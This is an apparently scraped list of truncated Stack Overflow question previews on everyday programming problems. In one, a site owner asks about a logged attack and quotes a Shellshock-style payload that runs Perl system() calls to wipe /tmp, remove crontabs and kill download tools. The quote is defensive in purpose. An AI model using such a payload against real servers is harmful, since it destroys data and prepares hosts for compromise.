BenI'm having trouble finding my bids that are linked to specific posts via the index method. I have successfully linked my bids to posts (i.e. I have a post_id column within my bids table), but cannot seem to 'find' them. I currently get the error 'Couldn't find Bid with 'id'=' Bids controller: c...

0
Q: Import * from module by importing via string

MikeI know I can use importlib to import modules via string. How can I recreate the import * functionality using this library? Basically, I want something like this: importlib.import_module('path.to.module', '*') My reasons for not name-spacing the imported attributes are deliberate.

0
Q: Show PeaseWait Popup in Catel Orchestra + MahApps.Metro

Salvador Ruiz GuevaraI am trying to show a pleasewait popup in a Orchestra app the same way it is shown in Catel without Orchestra but im unable to do so. I know that the pleasewaitservice shows the progress and text in a status bar on the bottom of the window, but is does orchestra have something similar to what Cat...

0
Q: css image resize responsive

kelsokiraI've made a list with in html. Im trying to display album covers of varying sizes all at 250x250px and have it scale down for mobile. My problem is when I use the code I have the images dont seem to scale down and break out of the div they're in. <ul id="gallery"> <li> <a href="...

0
Q: Using Flags to Mark Selected Entries in a JList

Ben HayI've done some looking into flags but I still don't really understand how I would attach them to and item/use them in general. My goal is to use flags to mark all the selected entries in a JList so that when a search is performed all showing selected items stay selected and when the search is cle...

0
Q: Comparing two list in C# using Linq and returning the duplicate numbers using user input from a numeric up and down box

kyrosdsI am trying to compare the two randomly generated lists, they need to compare the totals of the dice within the code and return the amount of duplicates of the number selected by the user. The user has a numeric up and down box to select the number between 1-12 and the program will return how man...

0
Q: Python requests library: looping requests.get()

TomI have a script which I want to get data from an api every 30s. I am using the requests module however every loop seems to return the same data. See the below "sample code": import requests from something import dosomething http_proxy = "http://user:password@someproxy.com:8080" https_proxy = "...

0
Q: Rails - multiple nested object validation

kid_drewI have the following classes: account has_many :orders has_many :payment_methods order has_one :payment payment belongs_to :order belongs_to :payment_method payment_method belongs_to :account has_many :payments Accounts have orders and payment methods. Payments are a join of an orde...

0
Q: Golang: which interface does this type implement?

BruceIn essence, four questions are here for Golang interfaces, with each one slightly harder than the one before it. say we imported a lot of interfaces, A, B, C, ..., G import ( "A", "B", "C", // more ... "G" ) and we define a type S: type S struct { // more ... } ...

0
Q: WiX Set Property from Registry during Uninstall

PatelosI have the following WiX excerpt which works perfectly during an install but doesn't during uninstall. I'm quite new to WiX so apologies if it's a glaring error. Can anyone see the problem? <Property Id="APPFOLDER" > <RegistrySearch Id="APPInstalledFolderReg" Root="HKL...

0
Q: Green channel from bitmap c#

abhilash sukumariHow can I extract Green channel alone from RGB image (bmp) ? I tried using ChannelExrtract (AForge) and analysed the data dimensions in Mathematica, its still 2592x1944x3; 3 representing its still not just a 2D array.

0
Q: How to get unique key from android application dynamically that only my app knows about ?

Gagandeep SinghI have gone through similar questions on stackoverflow and other sites but could not find satisfactory answer.So I am asking new question with detailed requirements. We are building android application and need to communicate with application server. There will be handshake between application ...

0
Q: Script to merge google sheet to google document template

Desmond TatilianI have a system I have been working that will let me take workorders from multiple companies (all different formats and layouts) and automatically generate standardized workorders in my google drive folder. I have the part of grabbing the emails and breaking them down taken care of in a google sh...

0
Q: Scope routes by project_id

damienbrzI have an app where you can create multiple projects. The current project is store in the session at the moment which cause some problems as you can't see two pages for different projects at the same time. resources :users resources :groups resources :templates resources :reports I have the fo...

0
Q: Is it possible to dynamically show/hide frequently used buttons with full CKEditor.inline toolbar using maybe a "More” button?

vxb8874CKEditor provides ability to display inline editor dynamically on click of textarea and set of toolbar buttons can be configured to show/hide but is it possible to show only frequently used buttons and hide rest of the buttons with "More” button/option because i want to provide full CKEditor tool...

-1
Q: Turning a Processing game into an iOS game

DarkstarSo I've got a game I made in processing (processing.org). Its a fairly simple game where you move a character and dodge falling blocks. I have no objective-c knowledge, but how hard would it be for me to turn the game into an iOS game and publish it on the appstore?

0
Q: sunshine app is giving filenotfoundexception when i click the refresh button

user102303particularly, very new in android, and dont know well to debug it. the issue is whenever i click refresh button nothing happens, instead it had to show the realdata, it keeps on displaying the fake data. logcat says that file does not exist, could not find errors here. here is my code main acti...

0
Q: Custom AngularJS Bootstrap Slider

LuiTrying to use this slider with angularJS https://github.com/seiyria/angular-bootstrap-slider I do have it working, though wanted to be able do a few custom items and in looking at the source doc file, and after too much time, I feel to need some direction. What I'm trying to do with the slide...

0
Q: Wget best practices on large files

Johan FourieI have a text file (150GB) in size, with around 2.5 billion links I need to download. I am wondering if I wget this file, if wget puts the entire files contents in memory, and if it will potentially crash the machine. I am also interested to know on some best practices when downloading this amo...

0
Q: Laravel 5.1 - errors views on live website, which ones or one for all and how to implement?

dbrI'm building a Laravel app and everything is working fine (as far as I can see) and now I would like to make the website public. However I can't figure out how to implement custom messages for bad/unauthorized request. I know I can put views in /resources/views/errors/ folder like: 404.blade.p...

0
Q: access promise from a factory service

boonyI am experiencing the same issue as posted in a recent topic - 30702965 Accessing objects returned from a factory. In fact I have followed the advice in that response but still do not get any results in the view. As in that previous post I have created a factory: myapp.factory("eventsService", f...

0
Q: Get Recent Task Changes History - Excel Report - Project Server 2013

andripsaccHow can I get the Recent Task Changes in Project Server 2013 from SQL Server to Excel report. I need to get the historical information from comments/notes, dateSubmitted, and dateApproved like in task update page. I have tried to browse through all tables in MS SQL Server (PWA Database). What I ...

0
Q: trying to separate two intersecting rectangles java

pi_squaredi'm using swing to make a game in java and i need help with collision detection. I mainly use this method to separate rectangles that are colliding: public static Rectangle collideRR(Rectangle collisionbox,Rectangle testbox) { // L is a counter int L = 0; // collision box edge coord...

0
Q: Why does SQL Server rounds to 9.999999999999999e+004?

RaduI am trying to figure out why SQL Server is returning 9.999999999999999e+004 when it's supposed to return 1.000000000000000e+005 from the following sql statement: select Convert( varchar(32), round(cast('123456' as Float), -5), 2 ) Ev...

0
Q: Using Yeppp! on Codeblocks on Windows - setting environment parameters (probably)

I am tiredI'm trying to get the Yeppp! vector math libraries working on my system (windows 7 with Codeblocks, GNU 4.9.2) in c++ (plain c fails as well). Using the basic 'entropy' example from the website http://docs.yeppp.info/c/_entropy_8c-example.html Codeblocks fails to compile and returns Entropy Ex...

0
Q: How to save additional fields in django-registration-redux?

eZ_HarryI have been able to add additional fields to my django-registration-redux however I cannot seem to get the saving right. It currently gives me this error Environment: Request Method: POST Request URL: http://127.0.0.1:8000/accounts/register/ Django Version: 1.7 Python Version: 2.7.10 Installe...

0
Q: Python os.walk() failing

stan1220I have created a script to give me the list of files in a folder directory. Yet, I am occasionally getting this error. What does this mean? portion of the error: Script failed due to an error: Traceback (most recent call last): File "<script>", line 12, in <module> File "C:\Program Files\N...

0
Q: express js routes how to get the root

user3862830I'm making a website using angular and when the user hits '/' root i want to go the my www/index.html and render that page, and after that angular can take care of the rest. I just want my application to load that index.html before angular takes over. my question is how do i make my app initiali...

0
Q: Primefaces dataTable get cells element using jquery

Suren RvI'm using PrimeFaces 5.1. I need to get specify cell value in PrimeFaces p:dataTable using jquery. I tried the below code but no useful. <script> ... var dataTable=document.getElementById('#myForm:test'); var cellElement = dataTable.tBodies[0].rows[0].cells[0]; alert(cellElement) ... </script>...

0
Q: How can I run my *.pro file with QtCreator?

HonkenAll. I just setup Ubuntu 14.04 and installed QT5.4 using command below. (VMware) $ wget http://download.qt-project.org/development_releases/qt/5.4/5.4.0-rc/qt-opensource-linux-x86-5.4.0-rc.run $ chmod +x qt-opensource-linux-x86-5.4.0-rc.run $ ./qt-opensource-linux-x86-5.4.0-rc.run QtCreator cou...

0
Q: Xcode Project won't run on iOS Device

Amit Nivedan KalraXcode gives me this message every-time I try running my app on my iPhone. (Works fine on the simulator.) (And this occurs in every project I have.) (I also just downloaded Xcode again.) This is the message I get. App Installation Failed. Unknown Error Occurred. How do I fix this error?

0
Q: Batch file to remove first 18 chars from txt file

Sheldon M.I have a .txt document with over 32,000 lines of commented machine code. It looks like this: Display menu window C0/000E: E220 SEP #$20 C0/0010: C210 REP #$10 C0/0012: 20640B JSR $0B64 C0/0015: 20750B JSR $0B75 C0/0018: C220 REP #$20 C0/001A: A900...

0
Q: return json to activity by asynctask

Amine AlifdalI'm using a doInBackground method to get a json from a web service so I can use it in my main activity here's what I did but it doesn't work public class JSONTransmitter extends AsyncTask<JSONObject, JSONObject, JSONObject> { @Override protected JSONObject doInBackground(JSONObject... data) { ...

0
Q: Java URL constructor error

Mohammed AnghaboWhen I try to instantiate an object from the URL class like this: URL myURL = new URL("http://example.com"); the compiler arise and error: error: constructor URL in class URL cannot be applied to given types; and points to the key work 'new' in the line above. The all class is: import j...

0
Q: Add player score to social framework message in SpriteKit

AdamTommyI'm making a SpriteKit based-app, and I have a spriteNode that shares to facebook when I tap it. This is the code that runs when it is tapped: func shareToFacebook(){ var shareToFacebook: SLComposeViewController = SLComposeViewController(forServiceType: SLServiceTypeFacebook) shareToFace...

-1
Q: How to set AUTO_INCREMENT default value and rate of increase in MySQL

Donald MooreHow do I set an AUTO_INCREMENT default value and rate in MySQL? In other words, if I want to create a primary key that starts at 1000 and increases by 100, how do I do that in MySQL?

1
Q: jQuery attribute selector based on value with periods in it

JustinTrying: $("div.docs-right div.api-manager div[ng-model=page-api-examples]").length This breaks with: Uncaught Error: Syntax error, unrecognized expression: div.docs-right div.api-manager div[ng-model=page.api.examples] How do I select by ng-model=page-api-examples?

0
Q: How do I open a link to specific div in cordova application

andrewI'm currently working on a mobile application using Cordova. When I click a 'reviews' button on one page, I want it to open up the next page (which shows more about that particular company) and automatically scroll down to the 'reviews' div on that page. I've tried adding a scrollTop within the ...

-1
Q: Java Eclipse Configuration set up error; Unable to resolve type bindings

Jacob HanI've got the following error, can anyone help to resolve this? Unable to resolve type bindings for class 'something', check the classpath (typeBinding=null)

0
Q: how to program with sendmsg() provided by socket

fenixanI wrote a program with a simple pair of client and server,the first of which generate a bunch of strings and sends them via API provided by socket,namely sendmsg(),and the second of which receive the strings with facilitation of epoll. According to what's captured by the tcpdump and the result o...

0
Q: How can I configure my header search paths for OpenEars

Jack ShultzI am trying to include the OpenEars Framework in my project. But it does not seem to see the path to my headers unless I write the absolute path. Absolute path works #import </Absolute_PATH_To_Framework/OpenEars.framework/Headers/OELanguageModelGenerator.h> #import <Absolute_PATH_To_Framework/H...

0
Q: GCM Missmatched messenger error

ominexusWhen I call instanceID.getToken(default_senderId, scope, null) this function I thought IOException Missmatched messenger not posting request to register kr.co.benchbee.miraeasset because of backoff period java.io.IOException: SERVICE_NOT_AVAILABLE how to fix this?

0
Q: Amazon MWS Scratchpad API, using php curl post on orderlist

Skydiver1977I have read loads about the Amazon MWS API and downloaded the example php files, but just about everything is either out of date or doesn't work, I'm even using scratchpad which works fine but when i translate the HTTP POST setting into a php script its hit and miss. I have found the following (...

0
Q: want to be able to instantiate this custom button from code and Storyboard - how to make an init method

timponeThis is my first time making a custom control so this is a VERY basic question. I would like to create a button like this: import UIKit class EKLikeButton: UIButton { required init(coder aDecoder: NSCoder) { super.init(coder: aDecoder) self.layer.cornerRadius = 5.0; self.layer.bo...

0
Q: org.xml.sax.SAXException: Illegal Text data found as child of

Luis TeijonI´m trying to convert a xml to an Object in Spring MVC 4.x but I´m getting this error (just a piece of it): Caused by: org.xml.sax.SAXException: Illegal Text data found as child of: comprobante value: "<?xml version="1.0" encoding="UTF-8"?> <comprobanteRetencion id="comprobante" version="1.0.0">

0
Q: The retaining size of my objects grows but I can't find a memory leak

Spencer CarnageUsing the Chrome Dev Tools, I have been taking a number of snapshots for my app. With each snapshot, the Object's retained size grows. The shallow size stays the same. When I do a comparison between snapshots, the delta's do not indicate that there is a leak. Doing a recording with the Timeline d...

0
Q: omnifaces highlight component is not working with richfaces 4

MashrurI have the maven dependency for omnifaces for version 1.11 (as my target is JDK 1.6). Richfaces 4.5.6 final, myfaces 2.2.8. And, I have got this: <ui:define name="content"> <f:loadBundle basename="au.com.erb.facility.ui.facility" var="property" /> <o:highlight styleC...

0
Q: How do I add click events to all buttons that have names starting with a certain string in C#?

ShoeLace1291I am writing a simple calculator script for my C# programming class. It will of course have buttons 0-9 that will update the output textbox to add the number of whatever button is clicked. My problem right now that is I would rather not have to have 10 different click events in my script. I wo...

0
Q: WPF Aligning & scaling a nested ItemsControl's content relative to parent

Tannz0rzI've got a ScrollViewer that is the content of an Expander, which is the template of an ItemsControl that is the content of another ScrollViewer. I'd like to stretch the inner-most ScrollViewer to the size of the outer-most, which I'd expect to work with the ActualWidth/Height bindings I've alre...

0
Q: Can IEnumerable be an alternative to Params[]?

ReynCan IEnumerable be a possible alternative to params[]? Because Ive been hearing some articles that params is not good, but I seem to doubt it because it is syntactically straightforward and is very useful. ex. public void testMeth(IEnumerable<object> testerEnum){ //Code here }

-2
Q: I can no longer access the BIOS (Computer Freezes)

Mohammad AniniI have a new Lenovo T440 with Windows 8.1, I have installed Fedora 22 to have dual boot, I started playing around with grub2-customization and some of the BIOS settings (secure boot and legacy vs UEFI), but now I can no longer access the bios settings, only get a short message in the top left of ...

0
Q: Using recursion to solve user entered expressions (android calculator app)

Ziv BrodieHere is the MainActivity.java code of my calculator app: package com.example.android.calculatorrecursion; import android.os.Bundle; import android.support.v7.app.ActionBarActivity; import android.view.View; import android.widget.Button; import android.widget.EditText; import java.util.ArrayList;...

0
Q: Getting text box value that is in the td, store in array in Javascript and passing back to PHP

hzqI have a table displayed using PHP. There are only two rows, the first row contains the headers, second row contains text box inside the td. What I am trying to do in this part of my script is for the user to enter some values, then I would like to grab the values according to the header names so...

0
Q: Remove other language space in html

AbiI want to trim the space between the tag name and the attribute using StringUtils.strip(). Because I have some space which cannot be removed by the following Jericho methods: CharacterReference.decodeCollapseWhiteSpace(htmlFragment)) TextExtractor -Tag[] allTags = source.fullSequentialParse();...

0
Q: Undefined symbols for architecture arm64 Xcode 7 beta 2, Parse 1.7.5, Facebook 4.4.0

Van Du TranI'm currently using Xcode 7 beta 2, Parse 1.7.5 and Facebook 4.40. When I add this line of code in my AppDelegate.swift: PFFacebookUtils.initializeFacebookWithApplicationLaunchOptions(launchOptions) I get this error: I just can't figure out how to fix the issue.

0
Q: Leaflet : Dynamically count number of feaures loaded into a layer

nikhilvjI have an application where markers/features are loading into layers/layerGroups (what's the right term?) from multiple sources, and they're loading dynamically (based on some attribute in feature.properties and other conditions). I want to be able to tell on the sidepanel the number of markers ...

0
Q: Symfony accessing mp3 files outside of web directory to play in browser

LargeTunaHow can I get access an mp3 inside of app/Resources/userFiles/mp3s directory? Inside of my controller I render a view that has [audio] tag but I need to get access to the mp3 file which is outside of the web directory. An ajax call is made to request the mp3 file (done). In my controller I wan...

1
Q: Is this a valid case to use instanceof operator?

BeginnerI am a beginner in Java and OOP in general, and I have a question regarding inheritance in Java. In my project, I have a class Order that represents a order placed for an asset. I intend to have several classes that extend Order including LimitBuyOrder and LimitSellOrder & the likewise for marke...

0
Q: Unmelt Pandas DataFrame

slawI have a pandas dataframe with two id variables: id num q v 0 1 10 a 2 1 1 10 b 4 2 1 12 d 6 3 2 13 a 8 4 2 14 b 10 5 3 15 z 12 I can pivot the table with: df.pivot('id','q','v') And end up with something close: q a b d z id ...

0
Q: HttpURLConnection: No data in the POST request

saikatI have created a Django Rest server. And I am trying to POST a JSON content in java using HttpURLConnection. However, when I am registering OutputStream in java, the server get a POST request with no JSON content. Hence the server rejecting the request with HTTP response code 400. I did write JSO...

0
Q: How to use a segmented control to change container views

Kody R.I actually just posted, but I am re-asking to give a better concept. I'm trying to use a segmented control change through multiple views inside a container view. I'm also not sure how to embed multiple views inside the container view. I saw a tutorial how to do it in Objective-C, but I am coding...

0
Q: VBA Excel copy data from 2 different worksheets in a third one

SoyouzI would like to copy the data from 'Sheet1' ($A:$N ; may fluctuate), select the range of the data and paste it in 'Sheet3'. I also need to copy the data from 'Sheet2' without the first row (same headers as 'Sheet1') and paste it underneath the data of 'Sheet1' that is now in 'Sheet3'. I am open ...

0
Q: Functional Programming for Android in 2015

PyRulezIt is 2015. Are there any tutorials for making an Android app using functional programming. Preferably it should go all the way to a full app. It seems that the most suitable languages right now are Scala, Clojure, or special languages, but any functional programming language will do.

0
Q: Python get number of the week by month

Theavuth NhelAny one could help me please, How to get number of week by month in Python? from datetime import datetime, date, timedelta

0
Q: multiple httpresponse from a single client request

marvsI have a mvc web api httpresponsemessage endpoint but I need to reply back to the client request in two steps. The first one being with status code of 202 (Accepted) and 200 (OK). In between this two responses is a long running task. How can I do this? I've heard using PushStreamContent but I ca...

0
Q: jQuery .html() function not working

user2352119I have the following mark up code <!DOCTYPE html> <html> <head> <title>Untitled</title> </head> <body> <table> <tr> <th></th> <th></th> <th>Back</th> </tr> <tr> <td class="runner-row runner-back">1.98</td> <td class="runner-row runner-back">...

0
Q: Best Practices for Laravel 5 Command Bus

Raphael RafatpanahI am trying to refactor controllers and have taken a look at Laravel's command bus. After reading a bunch of articles and watching a few videos, it seems that this may be a great way to refactor my controllers. However, it also seems that I shouldn't be returning anything from a command. ...

0
Q: jQuery function on autofill (chrome)

jQueryive got a form. There is a function which checks on form click and keyup, if each field is filled out. All working so far... Unfortuntely it does not work, if the user uses chrome autofill. I tried extending the function with body click but the dropdown from chrome is outside of the body... D...

0
Q: C Macro which checks the existence of a field in a struct

VorticoIs there some C hackery that can check whether a struct variable contains a certain field variable at compile time? For example: struct { int a; } foo; assert(HAS_FIELD(foo, a)); assert(!HAS_FIELD(foo, b)); If you're curious why I'd like this, I'm experimenting with a language transpiler.

0
Q: Reading a pdf file using python

misguidedI have a pdf form that has been converted into normal pdf document(using print2pdf software) . I intend to extract the data from the same , is there any way of doing so ? I am currently using pdfminer , but it tends not extract the data entered by the user , but extracts all other data. pdf2tx...

0
Q: Applying function to unique values for efficiency in pandas

itzyThis is a general question about how to apply a function efficiently in pandas. I often encounter situations where I need to apply a function to a pd.Series and it would be faster to apply the function only to unique values. For example, suppose I have a very large dataset. One column is date, a...

0
Q: Window scroll event fires multiple times

dennismonsewiczI am working with a Marionette.js app that fetches more data as the user scrolls down the page. setupWindowScrollListener: function() { var $window = $(window), $document = $(document), that = this; $window.on('scroll', _.debounce(function...

0
Q: join mysql on a date range

jxnI have 2 tables that i wish to join on a date range. table 1's date only vary on year and month while table 2 vary on multiple days. Table 1 pur_date product 2015-06-01 shirt 2015-06-01 shoe 2015-05-01 shoe 2015-04-01 purse 2015-04-01 bag 2014-05-01 key Table 2 chk_date ...

0
Q: Converting String into DateTime AM PM to Insert in MSSQL Table

A.JHi there I am trying to convert a textbox text into DateTime so that I can insert it in database table datetime column. Here is my code bookingfromdate text is "08/07/2015 03:00:00 pm" DateTime bookingfrom = DateTime.ParseExact(bookingfromdate.Text.ToString(), "dd/MM/yyyy h:mm:ss tt", new Cultu...

-1
Q: How do I accomplish array part in Perl

noelvillamana = [-1, 1, 66.25, 333, 333, 1234.5] print a[4][1]; #it prints 3 Is there a way to do that in Perl.

0
Q: Aligning 2 DIV's next to eachother in google maps info window

Michael CollinsSuper simple question I am having trouble getting these two div's to align next to each other inside of a google maps info window. I have been working on this issue for quite some time and finally decided to bring it to stack overflow. Can you guys help me with my problem? var template = '<div c...

0
Q: Error after not altering code

AlexI got this error after not even touching the code in weeks and saying that it pertains to an Arraylist. This is the error that I am getting. java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.android.login/com.example.android.login.MainActivity}: java.lang.Ind...

0
Q: I want to add a branch number when the file is saved

jun YoHow can are saving a file using the following tools, and have the same file name It will be automatically overwritten. Behind the file name without overwriting saved when there is the same file name (1), and to put wind in the Eda-ban automatically such as (2) What happens volumes of it? If you c...

0
Q: matlab - display dos command output to static text

scmgi am using GUI to call a DOS command. By using dos(my_command, '-echo') i can get the DOS command output in Matlab's Command Window. Is there anyway to replicate that -echo in a static text in my GUI? Currently, with my_command, I write the output to a log file, and update the static text's Stri...

0
Q: Android overlapping card views animation

Douglas SantosI'm trying to do stack of cards overlapped that when the fist card is swiped out the next card from stack move ahead. I've searched for hours and I couldn't find any idea how to start doing this. Do you guys have any idea how could I start this task? Example of animation: https://m2.behance.net...

0
Q: Tutorial about Primefaces Spring Hibernate without Using Maven

Veni ManurungA I said in title, I need a good tutorial about JSF Primefaces, Spring, Hibernate without using Maven and I want to run it in Netbeans (just add library). Ive tried using a tutorial with Maven(but I don't use the maven) and I always end with no result. May you show me the recommended tutorial? Y...

-1
Q: java double type not returning proper values

user1050619Im trying to write a simple program but get some unexpected result. I expect the result to be 0.5 but it prints 0.0 int i = 10; int j = 20; double result; result = i / j; System.out.println("RESULT = " + result);

0
Q: To input data like table in javascript

Jihun LeeI need meta data of fields. like this code. var fields = [ { code: 'name', display: 'Name', isActive: true }, { code: 'tel', display: 'Telephone Number', isActive: true }, { code: 'mobile', display: 'Mobile', isActive: true }, { code: 'email', display...

0
Q: Git bash screen became black

user227710My git bash screen doesn't show anything as shown in picture below. I have uninstalled and re-installed and it didn't work. I would greatly appreciate if any one could help on this. I am using Windows 8.

0
Q: for loop terminating early when for loop variable is very big

김재성#include <stdio.h> #include <stdlib.h> long collatz(long n, long *c) { long temp = n; while(c[n]==0) { if (n==1) { c[temp]++; return c[temp]; } if (n%2==0) n = n/2; else n = 3*n+1; c[temp]++; } c[temp]= c...

0
Q: Why percentage height works on position fixed element?

A. BrandI've learned that percentage height only works if the parent (and parents) elements all has height value set. But why that is not required on a position:fixed element. div { position: fixed; width: 50%; height: 100%; background: silver; } <div>placeholder</div>

0
Q: Make json.dumps output unicode characters properly in Python

LinkskuI'm new to Python and I'm trying to encode a UTF8 string. Using PHP's json_encode(), … (U+2026) becomes \u2026. However, using Python's json.dumps(), it becomes \u00e2\u20ac\u00a6. How do I convert this to \u2026 in Python?

0
Q: use a variable as part of another variables name

asia1028Bash question! so I have n arguments, and for each argument I'd like to to do a for loop and assign variables to hold characteristics of each argument. for example I have a script that runs in a continuous while loop and looks at user activity in my network... this is a simple outline of what my...

0
Q: How to list all modules python 2.7 and 3.4 have installed for MacOSX

ClassifiedIf this seems like a dumb question, it's b/c it's asked by a dumb person. How do I make all modules be available for both python 2.7 and 3.4? I executed brew install <prerequisites for pygame> <snip snip> <snip snip> brew install pygame pip freeze <snip snip> pygame==1.9.2a0 <snip snip> an...

1
Q: Why is my SelectList populating with an unwanted blank option selected

mfineganI am working to create a view that contains a dropdownlist. To generate the select list items, I wrote a method to return the list of SelectListItems desired for this dropdown - one of which has an attribute of Selected set to true. I have traced through the method generating the IEnumerable re...

0
Q: Why doesn't this code replace my string?

Mike OOk.. this has been asked here 10 times and its usually the immutable issue. My code looks like this: For i = 0 To filterlist.Length - 1 Dim s = filterlist(i) If s.Length > 2 Then Dim ts = xmlString.Replace(s, "<temps>" + s + "</temps>") xmlString = ts End If Next fi...

0
Q: HttpRequestMessage multiple custom headers overwriting each other

GPGVMI am struggling to understand how to add MULTIPLE headers to the HttpRequestMessage. I mean I get the basics and if I do one header it works but multiple headers and the last one is what sticks and all others are overwritten? So for example the Accept header will be overwritten but the authoriza...

0
Q: How to randomly choose a word from text and also reverse the same word when chosen

eric24gI would like to choose a word from a text file. Print that word and also print the same word in reverse. When I run the code, I have the output below. I just need to print the same word in reverse. But when I call the reverse method in the main function nothing prints. Below is my code: impor...

0
Q: Jquery get list of selected names in a specific select tag

user3916997I have multiple distinct select tags with the same options, and multi-select is enabled within each select tag. <select name="city_id1" id="city_id1"> <option value="1">q</option> <option value="2">s</option> <option value="3">sasdad</option> </select> <select name="city_id2" id="cit...

0
Q: unhandled exception: java.lang.ClassNotFoundException Error

developerI have the following Class code and when Debug it kept showing the following error: 1.) Unhandled Exception: java.lang.ClassNotfoundException 2.) Unhandled Exception:java.lang.NoSuchMethodException Error Log: /Users/dev/Documents/workspace/ERNEST_LEE/Projects/UtilityApp/com.dapoaugury.apps.r...

0
Q: Model mapping between JavaScript client, WebAPI and another WebAPI

wonderful worldI have a case where the JavaScript client side model does not match with the WebAPI model. In the following code, the status on the client side is a string while the same in the WebAPI is an integer. How can I achieve the mapping of status from string to an integer without adding an if statement...

0
Q: Hello, Does any one know how to create dataframe in sparkR from hbase table?

John ZhaoI am trying to create a spark dataframe in sparkR using data stored in hbase. Does any one know how to specify the data source parameters in SQLontext or any other way to get around this?

0
Q: Trying to understand the multithreaded Windows API with overlapped sockets

Joshua HintonI'm working making a multithreaded program using overlapped sockets for reading instead of asyncronous sockets. Can someone look over my code here and let me know where I need improvement? //structure definition typedef struct _MYSOCKET_INFORMATION { char* outCharBuf; INT8U* outByteBuf; char ...

0
Q: Delphi - Record and stream audio Android

Luiz Alberto RoqueI'm trying to record audio from one android device (Server) and send to another android device (Client) to play it live, I am using indy HTTP server, to send the stream to the client, I am calling the Android API to record the audio, using AudioRecord and play it on the other side using AudioTrac...

0
Q: Xcode Playground spaces taken away?

Reco GunnelsSomeone please help!! The fact that these upside down brackets are taking the space between my words are annoying. It looks like this... _var_five_=_5

0
Q: Python: How to Sort List by Last Character of String

Chris HodgesI am trying to write a program that orders a list of strings based on the last character in the item. ["Tiger 6", "Shark 4", "Cyborg 8"] are how my list is imported, but I need to put them in numerical order based on the numbers at the end. Thanks in advance!

0
Q: Swift 1.2, Parse 1.7+, real-time chat app

user2637883 when I send message from ANDROID to IOS, ios user CANNOT see the message right away In contrast, android user can see the msg as soon as ios user send msg, here what to do? try to add refreshresults in viewDidAppear and viewWillAppear but both not working well. so, please give me some tips Cod...

0
Q: How to delete mail server's queue when using Rails and Postfix?

s-cho-mNow I am using Rails framework and Postfix mail server. Send mail using Rails' Action Mailer: NoticeMailer.deliver_now When I start postfix: sudo service postfix start I noticed that there are many mails are sending to my mail. Maybe that are what I tested in queue. How to delete them fro...

0
Q: A href file link save via drag and drop

NotnotI'm a newbie in web development, and my first post here. Hope you could help me i'm running out of idea. Is it possible to save the file and not the webpage from link e.g. filename.pdf via drag from web page then save to my desktop. Because when i do that the link is save as webpage and not the f...

0
Q: Net::IMAP uninitialized constant error

Cameron AzizI really don't know where to start with this one, but I am (first time) using Net::IMAP and I am getting the following error: NameError in EmailsController#connect uninitialized constant Net::IMAP Extracted source (around line #4): 2 3 def connect 4 imap = Net::IMAP.new('outlook.office365.c...

0
Q: vb.net Stop HTMLAgilityPack from Changing Source

Max BetterSo basically HTMLAgilityPack (HAP) doesn't always return the same source as your browser would see. If I understand it properly it tries to help by fixing what it considers to be malformed code up. My issue is I could parse the data just fine using a browser control but while a httprequest is mu...

0
Q: Device Orientation and Cordova

user3449953I have a problem with Device Orientation, Ionic and Cordova/ngCordova I've already run the command: "cordova plugin add cordova-plugin-device-orientation" to install the device orientation plugin It installed without problem. Then I add the following code to my app: .controller('MyCtrl', fu...

0
Q: Using acceptsMouseMovedEvents for SpriteKit mouse actions with Storyboards and Swift

Alex LaingI have created a SpriteKit scene by referencing a custom NSView using Storyboards in Xcode. However, I cannot implement any mouseMoved events using SpriteKit because I do not know how to reference the program's NSWindowto set its acceptsMouseMovedEvents property to "true". How can I create an @I...

0
Q: python average of random sample many times

JohnI am working with pandas and I wish to sample 2 stocks from each trade date and store as part of the dataset the average "Stock_Change" and the average "Vol_Change" for the given day in question. The actual data is much larger spanning years and hundreds of names. My sample will be of 100 names...

0
Q: C Kernel - interrupts not working during while loops

user3042719I am making a kernel from scratch in c (Not linux. COMPLETELY from scratch) and I have come along a bit of a problem. I have this code: #include "timer.h" int ms = 0; int sleepc = -1; void timer_handler(struct regs *r){ ms++; if(sleepc > -1){ sleepc++; } println("I print ...

0
Q: Jsoup catch data,sometimes normal within 10 mins,sometimes slowly needed serveral hours

xiaocainiaolatest,manager let me optimize a bug realeated with jsoup. problem is that ,sometimes jsoup Jsoup catch data,sometimes normal within 10 mins,sometimes slowly needed serveral hours.and program occur read timed out when running,and the num occurd read timed out frequently when catch data slowly.fir...

0
Q: order by in inner join while updating table

VickyI need to update a table by inner joining another table. Below is the example. Employee table: role name Time create manager abc 2013 sales def 2014 manager xyz 2015 sales dje 2015 Currentteam: role name manager sales so i need to upda...

0
Q: Someone attack my website by "MYWEBSITEIP/1.1 Match1:{ :;};/usr/bin/perl -e 'print .....",What the url mean for?

Amor KibaSomeone always attack my website by visiting a specific url, this time is: MYWEBSITEIP/1.1 Match1:{ :;};/usr/bin/perl -e 'print .content-type: text/plain.r.n.r.nxsuccess!.;system(.cd /var/tmp/ ;cd /tmp/ ;rm -fr /tmp/* ; rm -fr /var/tmp/* ; crontab -r; killall -9 wget fetch curl lwp-download b f ...

0
Q: Does Dialyzer analyze anonymous functions?

MitzhIn my progress of learning Elixir, I am playing around with Dialyzer to put types on my functions. In this regard, I've noticed that Dialyzer doesn't seem to check the types for anonymous functions. In the example below, the anonymous function is clearly very wrong, as I am trying to append a li...

1
Q: Error Accessing External Database for Android App

Aidan Francis Boland-LynchI'm trying to display database contents from a DB on my server to an android app. I am stuck with errors below, some guidance would be great. public class TestExternalDatabaseActivity extends Activity { /** Called when the activity is first created. */ TextView resultView; @Override public voi...

-1
Q: Java -- Passing ArrayList to Method and Returning

Lawrence GannFirst -- to be clear -- this is homework, and I'm just trying to learn to do this properly (I don't want an answer, just guidance). I did some searching on this site and Google at large but can't seem to find a solution. Anyway: In my main class, I've created an ArrayList that I'm attempting t...

0
Q: R- Tweedie Model Parameters

Aman JakharI have this data lets suppose it is a column which represents the claim amounts, and I have to compute using the Tweedie model the various parameters such as mu and phi, I already know p which using R fitting and Tweedie package and came out to be 1.7. Please help.

0
Q: Parse.com email verification not sending for Yahoo & Optonline

Anthony SaltarelliI made an app using parse, and am using email verification in it. I have a bug where it is not sending email verifications to @yahoo.com & @optonline.net emails. Those are the two I found to not be working. It is working for all other emails. It says to do the following stuff below, but I am ver...

0
Q: Need pointer to tutorial or example of radial stacked bar chart in d3

Matt BrownI need to build a radial stacked bar chart in d3. I see some tutorials and examples for a simple bar chart, but I am new to d3 and haven't really got my sea legs on this one. Does anyone have an example somewhere or a tutorial they have found? Really appreciate a pointer in the right direction.

0
Q: SOAP - Nonce key generation

